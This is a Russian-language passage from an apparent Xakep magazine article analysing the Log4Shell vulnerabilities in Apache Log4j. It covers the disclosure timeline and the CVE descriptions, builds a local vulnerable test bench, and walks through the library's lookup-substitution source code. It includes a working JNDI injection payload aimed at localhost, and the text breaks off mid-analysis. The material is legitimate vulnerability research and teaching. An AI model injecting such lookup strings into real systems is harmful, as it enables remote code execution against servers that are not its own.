Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Physical Address
304 North Cardinal St.
Dorchester Center, MA 02124
Еще недавно про средство логирования Log4j помимо специалистов мало кто слышал. Найденная в этой библиотеке уязвимость сделала ее центром внимания на последние месяцы. Мы в «Хакере» уже обсуждали ее импакт и рассказывали о том, как разные компании сражаются с напастью. В этой статье мы с тобой подробно разберемся, откуда взялась эта ошибка и как она работает, а также какие успели появиться эксплоиты.
Заголовки новостей пестрят ужасными сообщениями о том, что проблема охватывает половину компьютерного мира. А взломать через нее якобы можно всё — от сервера Minecraft твоего соседа до крупных корпораций вроде Apple.
На GitHub есть несколько репозиториев, например, Log4jAttackSurface или log4shell со списками уязвимого ПО (с блэкджеком и пруфами, разумеется!). Даже в «Википедии» уже есть статья о Log4Shell!
Давай разбираться так ли страшен черт, как его малюют, с чего все началось и почему баг получил такую огласку.
Начнем с небольшой преамбулы. Баг был обнаружен экспертом Чен Чжаоцзюнь (Zhaojun Chen) из команды Alibaba Cloud Security. Детали уязвимости были отправлены в Apache Foundation 24 ноября 2021 года. В публичный доступ они попали чуть позже — 9 декабря. В твиттере завирусился пост, в котором была пара картинок, изображающих результат успешной эксплуатации — запущенный калькулятор. На первом скрине был затерт пейлоад, но вторая картинка и кусок кода из первой намекали, где и что нужно искать. Помимо этого в посте была ссылка на pull-реквест с фиксом, прямо скажем не слишком удачным! Сейчас пост в твиттере уже удален и посмотреть можно только через Internet Archive.
Пост в твиттере об уязвимости в Log4j
В этот же день на GitHub появился PoC с деталями эксплуатации. Когда уязвимость обзавелась собственным идентификатором CVE-2021-44228, репозиторий переименовали, а затем и вовсе удалили. Как видишь, увидеть начало истории сейчас можно только благодаря архивам.
К слову, баг получил максимальный балл (10) по стандарту CVSS из‑за его простой эксплуатации, не требующей никаких прав, и серьезности последствий для атакуемой системы.
Итак, эксплоит получил распространение и начал уходить в массы, люди стали тестировать пейлоады повсеместно и обнаруживать уязвимые продукты. Давай в деталях посмотрим, в чем причина уязвимости, какие были обходы и патчи и в каких продуктах.
Найденные уязвимости
CVE-2021-44228 — злоумышленник, который может контролировать сообщения журнала или параметры сообщений журнала, может выполнить произвольный код, загруженный с серверов LDAP через JNDI. Проблема затрагивает версии Apache Log4j2 2.0-beta9 до 2.15.0 (за исключением исправлений безопасности 2.12.2, 2.12.3 и 2.3.1) уязвимы к удаленному выполнению произвольного кода через JNDI.
CVE-2021-45046 — злоумышленник, контролирующий через Thread Context Map (MDC) динамические данные в сообщениях журналов событий, может создать пейлоад с использованием JNDILookup, который приведет к утечке информации и удаленному выполнению кода в некоторых конфигурациях Log4j и локальному выполнению кода во всех конфигурациях. Проблема присутствует из‑за не полностью исправленной уязвимости CVE-2021-44228 в Log4j 2.15.0.
CVE-2021-45105 — из‑за проблемы неконтролируемой рекурсии, злоумышленник специально сформированным сообщением журнала событий может вызвать отказ в обслуживании. Проблема затрагивает версии Log4j2 начиная с 2.0-alpha1 и до 2.16.0 (за исключением 2.12.3 and 2.3.1).
CVE-2021-44832 — Злоумышленник, имеющий доступ к изменению настроек логирования, может создать такую конфигурацию, через которую возможно удаленное выполнение кода. Для этого используется JDBC Appender с источником данных, ссылающимся на JNDI URI. Проблема затрагивает все версии Log4j2 начиная с 2.0-beta7 и до 2.17.0.
Театр, как известно, начинается с вешалки, а тестирование уязвимости — со стенда В качестве основной системы я буду использовать Windows и IntelliJ IDEA для компиляции и отладки.
Cоздаем пустой проект на Java с использованием gradle. Добавляем в зависимости уязвимую версию Log4j, например, 2.14.1.
build.gradle
dependencies { implementation 'org.apache.logging.log4j:log4j-api:2.14.1' implementation 'org.apache.logging.log4j:log4j-core:2.14.1'}
Потом создаем класс где аргумент, который мы передадим программе, будет логироваться.
src/main/java/logger/Test.java
package logger;import org.apache.logging.log4j.LogManager;import org.apache.logging.log4j.Logger;public class Test { private static final Logger logger = LogManager.getLogger(Test.class); public static void main(String[] args) { String msg = (args.length > 0 ? String.join(" ", args) : ""); logger.error(msg); }}
Теперь укажем главный класс, который должен вызываться при запуске.
build.gradle
plugins { id 'java' id 'application'}...mainClassName = 'logger.Test'
Все готово, можно запускать. Параметры в логгер передаем в качестве аргументов с помощью флага --args
:
gradlew run --args='hello world'
Запуск программы для тестирования уязвимости log4shell
Теперь настало время протестировать работу уязвимости, для этого возьмем простой пейлоад ${jndi:ldap://127.0.0.1/a}
и передадим его в качестве параметра. Только не забудь сначала поставить на прослушку 389 порт.
gradlew run --args='${jndi:ldap://127.0.0.1/a}'
Тестирование уязвимости log4shell
Коннект приходит, а это значит, что уязвимость успешно проэксплуатирована. Этого пока достаточно для дальнейшего препарирования.
Попробуем разобраться, почему эта загадочная конструкция вообще выполняется.
По сути, конструкции вида ${}
используются в динамических строках, которые преобразуются разными реализациями класса StringSubstitutor. Да не осудят меня Java сеньоры, я буду считать, что это просто переменные.
Теперь скачаем исходники нашей версии библиотеки Log4j. Интересующая нас обработка логируемого события начинается в методе format
класса MessagePatternConverter
.
org/apache/logging/log4j/core/pattern/MessagePatternConverter.java
public final class MessagePatternConverter extends LogEventPatternConverter { ... public void format(final LogEvent event, final StringBuilder toAppendTo) { final Message msg = event.getMessage(); ... if (config != null && !noLookups) { for (int i = offset; i < workingBuilder.length() - 1; i++) { if (workingBuilder.charAt(i) == '$' && workingBuilder.charAt(i + 1) == '{') { final String value = workingBuilder.substring(offset, workingBuilder.length()); workingBuilder.setLength(offset); workingBuilder.append(config.getStrSubstitutor().replace(event, value)); } } }
Этот цикл проверяет наличие конструкции ${
в сообщении. Если она присутствует, управление передается классу StrSubstitutor
для дальнейшей обработки.
Проверка наличия конструкции ${ в тексте логируемого сообщения библиотеки log4jorg/apache/logging/log4j/core/lookup/StrSubstitutor.java
public class StrSubstitutor implements ConfigurationAware { ... public static final char DEFAULT_ESCAPE = '$'; ... public static final StrMatcher DEFAULT_PREFIX = StrMatcher.stringMatcher(DEFAULT_ESCAPE + "{"); ... public static final StrMatcher DEFAULT_SUFFIX = StrMatcher.stringMatcher("}");
Здесь можно видеть инициализацию дефолтного префикса (${
) и суффикса (}
). Далее по коду видим метод substitute
.
org/apache/logging/log4j/core/lookup/StrSubstitutor.java
public StrMatcher getVariablePrefixMatcher() { return prefixMatcher;}...public StrMatcher getVariableSuffixMatcher() { return suffixMatcher;}
org/apache/logging/log4j/core/lookup/StrSubstitutor.java
private int substitute(final LogEvent event, final StringBuilder buf, final int offset, final int length, List<String> priorVariables) { final StrMatcher prefixMatcher = getVariablePrefixMatcher(); final StrMatcher suffixMatcher = getVariableSuffixMatcher();
Он снова выполняет поиск таких конструкций (${ололо}
) по содержимому логируемого события, только в этот раз проверяет наличие суффикса }
, чтобы определить действительно ли нужна дальнейшая обработка.
org/apache/logging/log4j/core/lookup/StrSubstitutor.java
while (pos < bufEnd) { final int startMatchLen = prefixMatcher.isMatch(chars, pos, offset, bufEnd); if (startMatchLen == 0) { pos++; } else // found variable start marker
Метод prefixMatcher.isMatch
, как видно из названия, находит начало конструкции, символы ${
. Проверка выполняется методом isMatch
.
Источник: xakep.ru